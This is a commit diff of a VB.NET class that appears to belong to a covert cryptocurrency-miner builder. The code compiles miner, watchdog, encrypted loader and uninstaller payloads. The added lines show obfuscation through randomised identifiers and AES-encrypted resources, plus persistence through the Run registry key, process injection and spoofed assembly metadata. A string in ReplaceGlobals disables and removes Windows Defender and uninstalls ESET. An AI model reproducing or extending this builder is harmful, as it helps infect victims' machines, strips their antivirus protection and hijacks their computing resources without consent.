1
1
Imports System.CodeDom.Compiler
2
+ Imports System.IO
2
3
Imports System.Security.Cryptography
4
+ Imports System.Text
3
5
Imports Microsoft.CSharp
4
6
5
7
Public Class Codedom
6
8
Public Shared MinerOK As Boolean = False
7
9
Public Shared WatchdogOK As Boolean = False
10
+ Public Shared LoaderOK As Boolean = False
11
+ Public Shared UninstallerOK As Boolean = False
8
12
Public Shared F As Form1
9
- Public Shared Sub MinerCompiler( ByVal Path As String , ByVal Code As String , ByVal Res As String , Optional ICOPath As String = "" )
13
+ Public Shared Sub MinerCompiler( ByVal Path As String , ByVal Code As String , ByVal Res As String )
14
+ MinerOK = False
10
15
11
16
Dim providerOptions = New Dictionary( Of String , String )
12
17
providerOptions.Add( "CompilerVersion" , "v4.0" )
13
18
Dim CodeProvider As New CSharpCodeProvider(providerOptions)
14
19
Dim Parameters As New CompilerParameters
15
- Dim OP As String = " /target:winexe /platform:x64"
16
-
17
- If ICOPath IsNot Nothing Then
18
- IO.File.Copy(ICOPath, Environment.GetFolderPath( 35 ) + "\icon.ico" , True ) 'codedom cant read spaces
19
- F.txtLog.Text = F.txtLog.Text + ( "Adding Icon..." + vbNewLine)
20
- OP += " /win32icon:" + Environment.GetFolderPath( 35 ) + "\icon.ico"
21
- End If
20
+ Dim OP As String = " /target:library /platform:x64 "
22
21
23
22
With Parameters
24
- .GenerateExecutable = True
23
+ .GenerateExecutable = False
25
24
.OutputAssembly = Path
26
25
.CompilerOptions = OP
27
26
.IncludeDebugInformation = False
28
- .ReferencedAssemblies.Add( "System.Windows.Forms.dll" )
27
+ If F.FA.toggleEnableDebug.Checked Then
28
+ .ReferencedAssemblies.Add( "System.Windows.Forms.dll" )
29
+ End If
29
30
.ReferencedAssemblies.Add( "System.dll" )
30
- .ReferencedAssemblies.Add( "Microsoft.VisualBasic.dll" )
31
31
.ReferencedAssemblies.Add( "System.Management.dll" )
32
32
.ReferencedAssemblies.Add( "System.IO.Compression.dll" )
33
33
.ReferencedAssemblies.Add( "System.IO.Compression.FileSystem.dll" )
@@ -44,43 +44,52 @@ Public Class Codedom
44
44
End Using
45
45
46
46
F.txtLog.Text = F.txtLog.Text + ( "Embedding resources..." + vbNewLine)
47
- .EmbeddedResources.Add(IO.Path.GetTempPath & "\" + F.Resources_Parent + ".Resources" )
47
+ .EmbeddedResources.Add(IO.Path.GetTempPath & "\" + Res + ".Resources" )
48
+
49
+ Dim minerbuilder As New StringBuilder(Code)
50
+
51
+ ReplaceGlobals(minerbuilder)
48
52
49
- Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code )
53
+ Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, minerbuilder.ToString() )
50
54
If Results.Errors.Count > 0 Then
51
55
For Each E In Results.Errors
52
56
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
53
57
Next
54
58
MinerOK = False
55
- Try : IO.File.Delete(Environment.GetFolderPath( 35 ) + "\icon.ico" ) : Catch : End Try
56
- Return
57
59
Else
58
60
MinerOK = True
59
- Try : IO.File.Delete(Environment.GetFolderPath( 35 ) + "\icon.ico" ) : Catch : End Try
60
61
End If
62
+
63
+ Try : IO.File.Delete(Environment.GetFolderPath( 35 ) + "\icon.ico" ) : Catch : End Try
61
64
End With
62
65
63
66
End Sub
64
67
65
68
Public Shared Sub WatchdogCompiler( ByVal Path As String , ByVal Code As String )
69
+ WatchdogOK = False
66
70
67
71
Dim providerOptions = New Dictionary( Of String , String )
68
72
providerOptions.Add( "CompilerVersion" , "v4.0" )
69
73
Dim CodeProvider As New CSharpCodeProvider(providerOptions)
70
74
Dim Parameters As New CompilerParameters
71
- Dim OP As String = " /target:winexe /platform:x64"
75
+ Dim OP As String = " /target:library /platform:x64 "
72
76
73
77
With Parameters
74
- .GenerateExecutable = True
78
+ .GenerateExecutable = False
75
79
.OutputAssembly = Path
76
80
.CompilerOptions = OP
77
81
.IncludeDebugInformation = False
78
- .ReferencedAssemblies.Add( "System.Windows.Forms.dll" )
82
+ If F.FA.toggleEnableDebug.Checked Then
83
+ .ReferencedAssemblies.Add( "System.Windows.Forms.dll" )
84
+ End If
79
85
.ReferencedAssemblies.Add( "System.dll" )
80
- .ReferencedAssemblies.Add( "Microsoft.VisualBasic.dll" )
81
86
.ReferencedAssemblies.Add( "System.Management.dll" )
82
87
83
- Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
88
+ Dim watchdogbuilder As New StringBuilder(Code)
89
+
90
+ ReplaceGlobals(watchdogbuilder)
91
+
92
+ Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, watchdogbuilder.ToString())
84
93
If Results.Errors.Count > 0 Then
85
94
For Each E In Results.Errors
86
95
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
@@ -92,4 +101,201 @@ Public Class Codedom
92
101
End With
93
102
94
103
End Sub
104
+
105
+ Public Shared Sub LoaderCompiler( ByVal SavePath As String , ByVal ProgramBytes As Byte (), Optional ICOPath As String = "" , Optional RequireAdministrator As Boolean = False )
106
+ LoaderOK = False
107
+
108
+ Dim providerOptions = New Dictionary( Of String , String )
109
+ providerOptions.Add( "CompilerVersion" , "v4.0" )
110
+ Dim CodeProvider As New CSharpCodeProvider(providerOptions)
111
+ Dim Parameters As New CompilerParameters
112
+ Dim OP As String = " /target:winexe /platform:x64 "
113
+
114
+ If RequireAdministrator Then
115
+ File.WriteAllBytes(SavePath & ".manifest" , My.Resources.administrator)
116
+ F.txtLog.Text = F.txtLog.Text + ( "Adding manifest..." + vbNewLine)
117
+ OP += " /win32manifest:""" + SavePath & ".manifest" + """"
118
+ End If
119
+
120
+ If F.chkIcon.Checked And Not String .IsNullOrEmpty(ICOPath) Then
121
+ F.txtLog.Text = F.txtLog.Text + ( "Adding Icon..." + vbNewLine)
122
+ OP += " /win32icon:""" + ICOPath + """"
123
+ End If
124
+
125
+ With Parameters
126
+ .GenerateExecutable = True
127
+ .OutputAssembly = SavePath
128
+ .CompilerOptions = OP
129
+ .IncludeDebugInformation = False
130
+ .ReferencedAssemblies.Add( "System.dll" )
131
+ If F.FA.toggleEnableDebug.Checked Then
132
+ .ReferencedAssemblies.Add( "System.Windows.Forms.dll" )
133
+ End If
134
+
135
+ F.txtLog.Text = F.txtLog.Text + ( "Creating Loader resources..." + vbNewLine)
136
+
137
+ Dim rand As New Random()
138
+ Dim Resources_Program = F.Randomi(rand.Next( 5 , 40 ))
139
+ Dim Resources_Loader = F.Randomi(rand.Next( 5 , 40 ))
140
+
141
+ Using R As New Resources.ResourceWriter(IO.Path.GetTempPath & "\" + Resources_Loader + ".Resources" )
142
+ R.AddResource(Resources_Program, F.AES_Encryptor(ProgramBytes))
143
+ R.Generate()
144
+ End Using
145
+
146
+ F.txtLog.Text = F.txtLog.Text + ( "Embedding Loader resources..." + vbNewLine)
147
+ .EmbeddedResources.Add(IO.Path.GetTempPath & "\" + Resources_Loader + ".Resources" )
148
+
149
+ Dim loaderbuilder As New StringBuilder(My.Resources.Loader)
150
+
151
+ loaderbuilder.Replace( "#Program" , Resources_Program)
152
+ loaderbuilder.Replace( "#LoaderRes" , Resources_Loader)
153
+
154
+ ReplaceGlobals(loaderbuilder)
155
+
156
+ Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, loaderbuilder.ToString())
157
+ If Results.Errors.Count > 0 Then
158
+ For Each E In Results.Errors
159
+ MsgBox(E.ErrorText, MsgBoxStyle.Critical)
160
+ Next
161
+ LoaderOK = False
162
+ Else
163
+ LoaderOK = True
164
+ End If
165
+
166
+ If RequireAdministrator Then
167
+ File.Delete(SavePath & ".manifest" )
168
+ End If
169
+ End With
170
+
171
+ End Sub
172
+
173
+ Public Shared Sub UninstallerCompiler( ByVal SavePath As String )
174
+ UninstallerOK = False
175
+
176
+ Dim providerOptions = New Dictionary( Of String , String )
177
+ providerOptions.Add( "CompilerVersion" , "v4.0" )
178
+ Dim CodeProvider As New CSharpCodeProvider(providerOptions)
179
+ Dim Parameters As New CompilerParameters
180
+ Dim OP As String = " /target:winexe /platform:x64 "
181
+
182
+ If F.FA.toggleAdministrator.Checked Then
183
+ File.WriteAllBytes(SavePath & ".manifest" , My.Resources.administrator)
184
+ F.txtLog.Text = F.txtLog.Text + ( "Adding manifest..." + vbNewLine)
185
+ OP += " /win32manifest:""" + SavePath & ".manifest" + """"
186
+ End If
187
+
188
+ With Parameters
189
+ .GenerateExecutable = True
190
+ .OutputAssembly = SavePath
191
+ .CompilerOptions = OP
192
+ .IncludeDebugInformation = False
193
+ .ReferencedAssemblies.Add( "System.dll" )
194
+ .ReferencedAssemblies.Add( "System.Core.dll" )
195
+ .ReferencedAssemblies.Add( "System.Management.dll" )
196
+ If F.FA.toggleEnableDebug.Checked Then
197
+ .ReferencedAssemblies.Add( "System.Windows.Forms.dll" )
198
+ End If
199
+
200
+ F.txtLog.Text = F.txtLog.Text + ( "Creating Uninstaller..." + vbNewLine)
201
+
202
+ Dim uninstallerbuilder As New StringBuilder(My.Resources.Uninstaller)
203
+
204
+ ReplaceGlobals(uninstallerbuilder)
205
+
206
+ Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, uninstallerbuilder.ToString())
207
+ If Results.Errors.Count > 0 Then
208
+ For Each E In Results.Errors
209
+ MsgBox(E.ErrorText, MsgBoxStyle.Critical)
210
+ Next
211
+ UninstallerOK = False
212
+ Else
213
+ UninstallerOK = True
214
+ End If
215
+
216
+ If F.FA.toggleAdministrator.Checked Then
217
+ File.Delete(SavePath & ".manifest" )
218
+ End If
219
+ End With
220
+ End Sub
221
+
222
+ Public Shared Sub ReplaceGlobals( ByRef stringb As StringBuilder)
223
+ If F.FA.toggleKillWD.Checked Then
224
+ stringb.Replace( "DefKillWD" , "true" )
225
+ stringb.Replace("#KillWDCommands", F.EncryptString("powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name=""Eset Security"" call uninstall"))
226
+ End If
227
+
228
+ If F.FA.toggleEnableDebug.Checked Then
229
+ stringb.Replace( "DefDebug" , "true" )
230
+ End If
231
+
232
+ If F.chkInstall.Checked Then
233
+ stringb.Replace( "DefInstall" , "true" )
234
+
235
+ Dim installdir As String
236
+
237
+ Select Case F.txtInstallPathMain.Text
238
+ Case "AppData"
239
+ installdir = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"
240
+ Case "UserProfile"
241
+ installdir = "Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)"
242
+ Case "Temp"
243
+ installdir = "Path.GetTempPath()"
244
+ Case Else
245
+ installdir = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"
246
+ End Select
247
+
248
+ stringb.Replace( "PayloadPath" , "System.IO.Path.Combine(" & installdir & "," & Chr( 34 ) & F.txtInstallFileName.Text & Chr( 34 ) & ")" )
249
+
250
+ If F.toggleWatchdog.Checked Then
251
+ stringb.Replace( "DefWatchdog" , "true" )
252
+ End If
253
+ End If
254
+
255
+ If F.chkAssembly.Checked Then
256
+ stringb.Replace( "DefAssembly" , "true" )
257
+
258
+ stringb.Replace( "%Title%" , F.txtTitle.Text)
259
+ stringb.Replace( "%Description%" , F.txtDescription.Text)
260
+ stringb.Replace( "%Company%" , F.txtCompany.Text)
261
+ stringb.Replace( "%Product%" , F.txtProduct.Text)
262
+ stringb.Replace( "%Copyright%" , F.txtCopyright.Text)
263
+ stringb.Replace( "%Trademark%" , F.txtTrademark.Text)
264
+ stringb.Replace( "%v1%" , F.num_Assembly1.Text)
265
+ stringb.Replace( "%v2%" , F.num_Assembly2.Text)
266
+ stringb.Replace( "%v3%" , F.num_Assembly3.Text)
267
+ stringb.Replace( "%v4%" , F.num_Assembly4.Text)
268
+ stringb.Replace( "%Guid%" , Guid.NewGuid.ToString)
269
+ End If
270
+
271
+ stringb.Replace( "#STARTDELAY" , F.txtStartDelay.Text)
272
+ stringb.Replace( "#KEY" , F.AESKEY)
273
+ stringb.Replace( "#SALT" , F.SALT)
274
+ stringb.Replace( "#IV" , F.IV)
275
+ stringb.Replace( "#CLKEY" , F.EncryptString( "UXUUXUUXUUCommandULineUUXUUXUUXU" ))
276
+ stringb.Replace( "#CLIV" , F.EncryptString( "UUCommandULineUU" ))
277
+ stringb.Replace( "#LIBSPATH" , F.EncryptString( "Microsoft\inc\" ))
278
+ stringb.Replace( "#DLLSTR" , F.EncryptString( "Mandark.Mandark" ))
279
+ stringb.Replace( "#DLLOAD" , F.EncryptString( "Load" ))
280
+ stringb.Replace( "#REGKEY" , F.EncryptString( "Software\Microsoft\Windows\CurrentVersion\Run\" ))
281
+ stringb.Replace( "#InjectionTarget" , F.EncryptString(F.InjectionTarget( 0 )))
282
+ stringb.Replace( "#InjectionDir" , F.InjectionTarget( 1 ).Replace( "(" , "" ).Replace( ")" , "" ).Replace( "%WINDIR%" , """ + Environment.GetFolderPath(Environment.SpecialFolder.Windows) + """ ))
283
+
284
+ stringb.Replace( "RInstall" , F.Randomi(F.rand.Next( 5 , 40 )))
285
+ stringb.Replace( "RGetTheResource" , F.Randomi(F.rand.Next( 5 , 40 )))
286
+ stringb.Replace( "RGetString" , F.Randomi(F.rand.Next( 5 , 40 )))
287
+ stringb.Replace( "RRun" , F.Randomi(F.rand.Next( 5 , 40 )))
288
+ stringb.Replace( "RBaseFolder" , F.Randomi(F.rand.Next( 5 , 40 )))
289
+ stringb.Replace( "RCheckProc" , F.Randomi(F.rand.Next( 5 , 40 )))
290
+ stringb.Replace( "RInitialize" , F.Randomi(F.rand.Next( 5 , 40 )))
291
+ stringb.Replace( "RAES_Encryptor" , F.Randomi(F.rand.Next( 5 , 40 )))
292
+ stringb.Replace( "RAES_Decryptor" , F.Randomi(F.rand.Next( 5 , 40 )))
293
+ stringb.Replace( "RTruncate" , F.Randomi(F.rand.Next( 5 , 40 )))
294
+ stringb.Replace( "RCommandLineEncrypt" , F.Randomi(F.rand.Next( 5 , 40 )))
295
+ stringb.Replace( "RWDLoop" , F.Randomi(F.rand.Next( 5 , 40 )))
296
+
297
+ stringb.Replace( "rarg1" , F.Randomi(F.rand.Next( 5 , 40 )))
298
+ stringb.Replace( "rarg2" , F.Randomi(F.rand.Next( 5 , 40 )))
299
+ stringb.Replace( "rarg3" , F.Randomi(F.rand.Next( 5 , 40 )))
300
+ End Sub
95
301
End Class
0 commit comments